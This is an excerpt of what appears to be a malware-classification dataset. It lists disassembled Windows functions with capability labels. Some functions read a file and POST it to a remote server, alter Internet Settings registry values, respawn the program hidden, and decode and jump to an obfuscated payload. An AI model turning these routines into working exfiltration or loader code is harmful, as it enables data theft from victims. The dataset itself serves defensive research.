joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4050f7
Capabilities:
Connect to http server
Create http request
Query remote server for available data
Read and send data from client to server
Read data from internet
Read file on windows
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0x10], 0
mov dword [0x432dee], 0
push 0
push 0x20
push 3
push 0
push 3
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
je 0x4052ab
mov dword [0x424ff4], eax
push 0
push 0x432dc6
push 0x3a98
push 0x40b5b9
push dword [0x424ff4]
call sub.KERNEL32.DLL_ReadFile
push 0x7530
push 0
push 0x4135b9
call fcn.00407690
push 0x424e15
push 0x4135b9
call sub.KERNEL32.DLL_lstrcpyA
mov edi, 0x4135b9
add edi, 2
push edi
push 0x4251ec
call fcn.004052b2
push 0x424e18
push 0x4135b9
call sub.KERNEL32.DLL_lstrcatA
push 0x4135b9
call sub.KERNEL32.DLL_lstrlenA
push eax
add eax, 0x4135b9
push eax
push dword [0x432dc6]
push 0x40b5b9
call fcn.00403694
mov dword [0x432dee], eax
pop eax
add dword [0x432dee], eax
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__SPGK_
call sub.wininet.dll_InternetOpenA
or eax, eax
je 0x4052a0
mov dword [ebp - 4], eax
push 1
push 0
push 3
push 0
push 0
push 0x50
push 0x409240
push dword [ebp - 4]
call sub.wininet.dll_InternetConnectA
or eax, eax
je 0x405298
mov dword [ebp - 8], eax
push 1
push 0
push 0
push 0
push 0
push dword [ebp + 0xc]
push str.POST
push dword [ebp - 8]
call sub.wininet.dll_HttpOpenRequestA
or eax, eax
je 0x405290
mov dword [ebp - 0xc], eax
push dword [0x432dee]
push 0x4135b9
push 0x2f
push 0x4037ad
push dword [ebp - 0xc]
call sub.wininet.dll_HttpSendRequestA
push 0
push 0
push 0x432dee
push dword [ebp - 0xc]
call sub.wininet.dll_InternetQueryDataAvailable
cmp dword [0x432dee], 0xc8
jae 0x405288
push 0x424ff8
push dword [0x432dee]
push 0x432df2
push dword [ebp - 0xc]
call sub.wininet.dll_InternetReadFile
or eax, eax
je 0x405288
mov edi, 0x432df2
add edi, dword [0x432dee]
mov byte [edi], 0
mov dword [ebp - 0x10], 1
push dword [ebp - 0xc]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 8]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 4]
call sub.wininet.dll_InternetCloseHandle
push dword [0x424ff4]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x10]
leave
ret 8
Function at 0x4058dc
Capabilities:
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
mov dword [ebp - 0x10], 0
mov dword [0x432dee], 0
lea eax, [ebp - 0x410]
push eax
push 0x4251ec
call fcn.004052b2
push 0x4259ec
lea eax, [ebp - 0x410]
push eax
push 0x409240
push dword [ebp + 8]
push 0x41b5b9
call sub.user32.dll_wsprintfA
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__SPGK_
call sub.wininet.dll_InternetOpenA
or eax, eax
je 0x4059ab
mov dword [ebp - 4], eax
push 0
push 0x80000000
push 0
push 0
push 0x41b5b9
push dword [ebp - 4]
call sub.wininet.dll_InternetOpenUrlA
or eax, eax
je 0x4059ab
mov dword [ebp - 0xc], eax
push 0
push 0
push 0x432dee
push dword [ebp - 0xc]
call sub.wininet.dll_InternetQueryDataAvailable
cmp dword [0x432dee], 0x64
jae 0x4059ab
push 0x424ff8
push dword [0x432dee]
push 0x432df2
push dword [ebp - 0xc]
call sub.wininet.dll_InternetReadFile
or eax, eax
je 0x4059ab
mov edi, 0x432df2
add edi, dword [0x432dee]
mov byte [edi], 0
mov dword [ebp - 0x10], 1
push dword [ebp - 0xc]
call sub.wininet.dll_InternetCloseHandle
push dword [ebp - 4]
call sub.wininet.dll_InternetCloseHandle
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405a25
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 8], 0
push 0x424ff8
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_Settings
push 0x80000001
call sub.advapi32.dll_RegCreateKeyExA
mov dword [0x424ff8], 0xff
push 0x424ff8
push 0x40b5b9
push 0
push 0
push 0x405a0d
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
or eax, eax
jne 0x405af8
lea edx, [0x40b5b9]
mov eax, dword [edx]
cmp eax, 1
jne 0x405abe
mov dword [0x424ff8], 0x800
push 0x424ff8
push 0x40b5b9
push 0
push 0
push 0x405a19
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA
or eax, eax
jne 0x405abe
mov eax, dword [0x424ff8]
mov dword [ebp - 8], eax
mov dword [0x424ff8], 0
push 4
push 0x424ff8
push 4
push 0
push 0x405a0d
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
push 1
push 0x424ff8
push 1
push 0
push 0x405a19
push dword [ebp - 4]
call sub.advapi32.dll_RegSetValueExA
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
mov eax, dword [ebp - 8]
leave
ret

Function at 0x405b05
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov dword [ebp - 8], 0
push 0x800
push 0x40b5b9
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea edi, [0x40b5b9]
add edi, 3
push str.Program_FilesMozilla_Firefox_firefox.exe
push edi
call sub.KERNEL32.DLL_lstrcpyA
push 0
push 0x20
push 3
push 0
push 3
push 0x80000000
push 0x40b5b9
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
je 0x405b5d
mov dword [ebp - 4], eax
mov dword [ebp - 8], 1
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 8]
leave
ret
Function at 0x406029
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push 0x1388
push 0x40b5b9
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push str._kjsfuihsuefhsygfysf
push 0x40b5b9
call sub.KERNEL32.DLL_lstrcatA
mov dword [0x426606], 0x44
push 0x426606
call sub.KERNEL32.DLL_GetStartupInfoA
mov dword [0x426632], 1
mov word [0x426636], 0
jmp 0x406081
push 0x42664a
push 0x426606
push 0
push 0
push 0
push 1
push 0
push 0
push 0x40b5b9
push 0
call sub.KERNEL32.DLL_CreateProcessA
or eax, eax
je 0x40610e
push 0xbb8
call sub.KERNEL32.DLL_Sleep
push str.MY_IE_Browser
push str.IE_MY_Class
call sub.user32.dll_FindWindowA
or eax, eax
je 0x4060fd
mov dword [0x425000], eax
push str.busy
push dword [0x425000]
call sub.user32.dll_SetWindowTextA
push dword [0x425000]
call fcn.00405f0e
or eax, eax
je 0x4060ec
leave
ret
push 0x424f54
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
jmp 0x40611d
push str.MW3_
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
jmp 0x40611d
push 0x424f60
push 0x42db96
call sub.KERNEL32.DLL_lstrcatA
xor eax, eax
leave
ret
Function at 0x406434
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x28], 0x40651b
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [0x432f00]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 6
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x40a121
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
push 0
push dword [ebp + 8]
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x40a12d
push 0x40a121
push 0
call sub.user32.dll_CreateWindowExA
mov dword [ebp - 0x50], eax
push 1
push dword [ebp - 0x50]
call sub.user32.dll_ShowWindow
push dword [ebp - 0x50]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
or eax, eax
je 0x406514
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x4064ed
mov eax, dword [ebp - 0x44]
leave
ret 0x10
Function at 0x407085
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffecc
mov dword [ebp - 0x134], 0
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40710b
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Process32First
mov dword [ebp - 8], eax
jmp 0x4070fd
push dword [ebp - 0x128]
call fcn.00407015
or eax, eax
je 0x4070eb
push 0x41b5b9
call fcn.004042ba
or eax, eax
je 0x4070eb
inc dword [ebp - 0x134]
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 4]
call sub.KERNEL32.DLL_Process32Next
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4070c8
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x134]
leave
ret

Function at 0x407113
Capabilities:
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
mov dword [ebp - 0x210], 0
call sub.KERNEL32.DLL_GetTickCount
mov dword [ebp - 0x208], eax
lea eax, [ebp - 0x200]
push eax
push 0x190
call sub.KERNEL32.DLL_GetTempPathA
push str.cvfj378malfffieia.tmp
lea eax, [ebp - 0x200]
push eax
call sub.KERNEL32.DLL_lstrcatA
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x200]
push eax
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
jne 0x4071c4
mov dword [ebp - 0x210], 1
push 0
push 0x20
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x200]
push eax
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
je 0x40722b
mov dword [ebp - 0x204], eax
push 0
push 0x432dc6
push 4
lea eax, [ebp - 0x208]
push eax
push dword [ebp - 0x204]
call sub.KERNEL32.DLL_WriteFile
jmp 0x40722b
mov dword [ebp - 0x204], eax
push 0
push 0x432dc6
push 4
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x204]
call sub.KERNEL32.DLL_ReadFile
mov eax, dword [ebp - 0x208]
sub eax, dword [ebp - 0x20c]
shr eax, 0xa
cmp eax, dword [ebp + 8]
jbe 0x40722b
mov dword [ebp - 0x210], eax
push 0
push 0
push 0
push dword [ebp - 0x204]
call sub.KERNEL32.DLL_SetFilePointer
push 0
push 0x432dc6
push 4
lea eax, [ebp - 0x208]
push eax
push dword [ebp - 0x204]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 0x204]
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [ebp - 0x210]
leave
ret 4
Function at 0x419b43
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x260
mov eax, dword [0x46a004]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x250
push eax
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], eax
lea eax, [ebp - 0x254]
push eax
call fcn.0042f8e0
add esp, 0xc
lea eax, [ebp - 0x258]
push eax
push str..unverified
push dword [ebp + 8]
call main
test eax, eax
js 0x419ba4
push 7
push dword [ebp - 0x258]
call main
cmp dword [ebp + 8], 0
jne 0x419c8b
lea eax, [ebp - 0x258]
push eax
push dword [ebp + 0xc]
call main
test eax, eax
js 0x419c8b
lea eax, [ebp - 0x260]
push eax
push 0x44b840
push dword [ebp - 0x258]
call main
test eax, eax
js 0x419c8b
push esi
lea eax, [ebp - 0x254]
push eax
push dword [ebp - 0x260]
call dword [sym.imp.kernel32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x419c8a
test byte [ebp - 0x254], 0x10
jne 0x419c71
xor eax, eax
mov word [ebp - 0x22], ax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.kernel32.dll_lstrlenW]
cmp eax, 2
jbe 0x419c49
push 0x2e
pop ecx
cmp cx, word [ebp + eax*2 - 0x22c]
jne 0x419c49
movzx eax, word [ebp + eax*2 - 0x22a]
push 0x52
pop ecx
cmp cx, ax
je 0x419c71
push 0x72
pop ecx
cmp cx, ax
je 0x419c71
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x228]
push eax
push dword [ebp - 0x258]
call main
test eax, eax
js 0x419c71
push dword [ebp - 0x25c]
call main
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindNextFileW]
test eax, eax
jne 0x419c03
push esi
call dword [sym.imp.kernel32.dll_FindClose]
pop esi
cmp dword [ebp - 0x25c], 0
je 0x419c9f
push dword [ebp - 0x25c]
call main
cmp dword [ebp - 0x260], 0
je 0x419cb3
push dword [ebp - 0x260]
call main
cmp dword [ebp - 0x258], 0
je 0x419cc7
push dword [ebp - 0x258]
call main
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042e06f
mov esp, ebp
pop ebp
ret 8
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1000f197
pop dword [ebp - 0x18]
mov eax, 0x1000f197
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x377fd
push 0
mov eax, 0x140974be
sub eax, 0x408345a
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xf2b1fdf2
sub ecx, 0xf2b1bc45
xor edx, edx
add edx, eax
mov edi, 0x965c3bdd
sub edi, 0x865ab5dd
add edi, dword [ebp - 0x18]
mov esi, 0x60e91645
sub esi, 0xe307f028
add dword [ebp - 4], 0x9deb6f2d
mov ebx, dword [edi]
add dword [ebp - 8], 0xe118fc24
add ebx, esi
mov dword [ebp - 0xc], 0x380e84dd
mov dword [edx], ebx
xor dword [ebp - 0x14], edx
add edx, 4
add edi, 0x8c85d105
sub edi, 0x8c85d101
loop 0x1000f1f3
add eax, 0x623e7912
add eax, 0x9dc28075
xor ebx, ebx
add ebx, eax
add eax, 0x603ed2b1
add eax, 0x9fc12d54
mov ecx, 0xff1b8f3e
add ecx, 0x10e470c2
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x401219
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40501c
push 0x40109a
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
push eax
fnstcw word [esp]
or word [esp], 0x300
fldcw word [esp]
add esp, 4
push 0
push 0
push 0x405028
push 0x405024
push 0x405020
call sub.CRTDLL.DLL___GetMainArgs
push dword [0x405028]
push dword [0x405024]
push dword [0x405020]
mov dword [0x405014], esp
call fcn.0040129c
add esp, 0x18
xor ecx, ecx
mov dword [ebp - 4], ecx
push eax
call sub.CRTDLL.DLL_exit
leave
ret
Function at 0x1001b4b3
Capabilities:
Print debug messages

Disassembly:
push 0x10
mov eax, 0x100501d6
call fcn.1004f931
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [0x1005b1e8]
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x10060380]
mov ecx, 0x1005b1e8
call esi
add eax, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp + 0x10]
mov byte [ebp - 4], 4
push eax
push dword [ebp + 0xc]
lea ecx, [ebp - 0x18]
call fcn.100270d2
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x14]
push esi
call fcn.1002b523
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push ebx
push ebx
push 0xffffffffffffffff
push 0x100070c8
push ebx
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edi, eax
lea ecx, [edi - 1]
push ecx
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov ebx, eax
test ebx, ebx
je 0x1001b556
push edi
push ebx
push 0xffffffffffffffff
push 0x100070c8
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp eax, edi
je 0x1001b556
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
and dword [ebp - 0x1c], 0
jmp 0x1001b5c0
mov dword [ebp - 0x1c], ebx
test ebx, ebx
je 0x1001b5c0
mov eax, dword [0x1005f7d4]
test eax, eax
jne 0x1001b58b
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [ebp - 0x14]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea ecx, [esi - 0x10]
call fcn.1002a468
call fcn.1004f878
ret
push dword [ebp - 0x14]
mov ecx, dword [eax]
push ebx
push 0xb8000
push dword [ebp + 8]
mov edi, dword [ecx + 0x20]
mov ecx, edi
push eax
call dword [0x10060380]
call edi
test eax, eax
jns 0x1001b56d
mov ecx, eax
jmp 0x1001b5c5
mov ecx, 0x8007000e
call fcn.1001ad58
int3
Function at 0x1002a400
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1002a459
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1002a459
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x1002a44a
cmp esi, ecx
jae 0x1002a459
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x1002a438
cmp esi, ecx
jae 0x1002a459
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
jmp 0x1002a45b
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x1002da79
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x1005f0b4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x82
xor ebx, ebx
lea eax, [ebp - 0x88]
push ebx
push eax
mov edi, edx
mov esi, ecx
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x8c], 0x41
lea eax, [ebp - 0x8c]
push ebx
push ebx
push ebx
push ebx
push eax
lea eax, [ebp - 0x88]
push eax
push ebx
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, 0x103
jne 0x1002dadc
mov byte [edi], bl
jmp 0x1002daf8
test eax, eax
je 0x1002daf5
mov ecx, dword [ebp + 4]
mov edx, 0xca
push eax
push 0x1000d960
call fcn.1002dc3c
jmp 0x1002dafa
mov byte [edi], 1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004f280
leave
ret

Function at 0x1002e74c
Capabilities:
Get system information on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x44
push edi
push 0x1c
lea eax, [ebp - 0x20]
mov dword [ebp - 4], edx
mov edi, ecx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1002e770
push 0x19
pop ecx
int 0x29
test byte [ebp - 0xc], 0x44
je 0x1002e7b9
push ebx
push esi
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ebx, dword [ebp - 0x40]
xor edx, edx
lea ecx, [ebx - 1]
mov eax, ecx
mov esi, ecx
and ecx, dword [ebp - 4]
and eax, edi
add eax, ebx
dec ecx
add eax, ecx
not esi
div ebx
xor edx, edx
and esi, edi
mov ecx, eax
mov eax, dword [ebp - 4]
div ebx
add ecx, eax
je 0x1002e7b7
xor eax, eax
lock or dword [esi], eax
add esi, ebx
sub ecx, 1
jne 0x1002e7ab
pop esi
pop ebx
pop edi
leave
ret
Function at 0x1002f1ee
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, eax
mov esi, ecx
shr eax, 4
and edi, 0xf
inc eax
movzx ebx, ax
movzx eax, word [esi + 8]
push eax
push ebx
push 6
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
test eax, eax
jne 0x1002f26b
push 0x409
push ebx
push 6
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
test eax, eax
jne 0x1002f26b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, 0x80070000
test eax, eax
jle 0x1002f245
movzx eax, ax
or eax, edi
test eax, eax
jns 0x1002f261
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x1002f2eb
movzx esi, si
or esi, edi
jmp 0x1002f2eb
mov esi, 0x80004005
jmp 0x1002f2eb
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1002f22f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1002f22f
test edi, edi
je 0x1002f297
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edi, 1
jne 0x1002f289
movzx ebx, word [esi]
xor ecx, ecx
push 0x10006265
push 2
pop edx
lea eax, [ebx + 1]
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1004fe1b
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x1002f2c5
mov esi, 0x8007000e
jmp 0x1002f2eb
movzx eax, word [esi]
lea edx, [ebx + 1]
push eax
lea eax, [esi + 2]
mov ecx, edi
push eax
call fcn.1002f5b7
mov esi, eax
test esi, esi
jns 0x1002f2e6
push edi
call fcn.1002d48e
pop ecx
jmp 0x1002f2eb
mov eax, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1002face
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
xor esi, esi
mov ebx, edx
push edi
test ecx, ecx
je 0x1002fb7d
test ebx, ebx
je 0x1002fb7d
xor edx, edx
call fcn.10030a25
mov edi, eax
test edi, edi
je 0x1002fb41
xor edx, edx
mov ecx, ebx
call fcn.10030a25
mov esi, eax
test esi, esi
je 0x1002fb41
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1002fb21
xor edx, edx
mov ecx, esi
call fcn.10030230
push dword [ebp + 8]
mov edx, esi
push ecx
push dword [ebp + 0x10]
mov ecx, edi
push dword [ebp + 0xc]
call fcn.1002fb94
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x1002fb4d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test edi, edi
je 0x1002fb71
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0x1002fb71
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [ebp - 4]
jmp 0x1002fb87
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x1002fb94
Capabilities:
Copy file
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
and dword [ebp - 0xc], 0
mov eax, ecx
push ebx
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
push esi
push edi
mov edi, edx
test ebx, 0xffffffe0
je 0x1002fbc4
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x1002fd35
mov esi, ebx
and esi, 1
test ebx, 8
je 0x1002fbd7
or esi, 0x1000
xor edx, edx
call fcn.10030a25
mov dword [ebp - 0x18], eax
test eax, eax
je 0x1002fd32
xor edx, edx
mov ecx, edi
call fcn.10030a25
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x1002fd09
xor eax, eax
and dword [ebp - 4], 0
push esi
push 0
push dword [ebp + 0xc]
mov dword [ebp - 8], eax
push dword [ebp + 8]
push edi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x1002fc8b
test ebx, 2
je 0x1002fd09
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
lea edx, [ebp - 4]
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 0x14], ecx
push edx
mov edx, ecx
mov dword [ebp - 8], eax
mov ecx, eax
call fcn.10030159
test eax, eax
je 0x1002fd09
push dword [ebp - 4]
push dword [ebp - 0x14]
push edi
push dword [ebp - 0x10]
push 0x1000dc50
push 0x4000000
push 0x1005f83c
call fcn.1002fa5c
add esp, 0x1c
cmp dword [ebp - 4], 0
jbe 0x1002fc83
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
jmp 0x1002fbff
test ebx, 4
je 0x1002fd09
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x1002fd09
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push 0x1f
pop ebx
test esi, esi
jne 0x1002fcb7
mov esi, ebx
push esi
push edi
push 0x1000dce8
push 0x2000000
push 0x1005f83c
call fcn.1002fa5c
add esp, 0x14
xor edx, edx
mov ecx, edi
call fcn.10030230
test eax, eax
jne 0x1002fd02
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x1002fce9
mov ebx, eax
push ebx
push edi
push 0x1000dd88
push 0x2000000
push 0x1005f83c
call fcn.1002fa5c
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0x18]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1002fd32
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret 0x10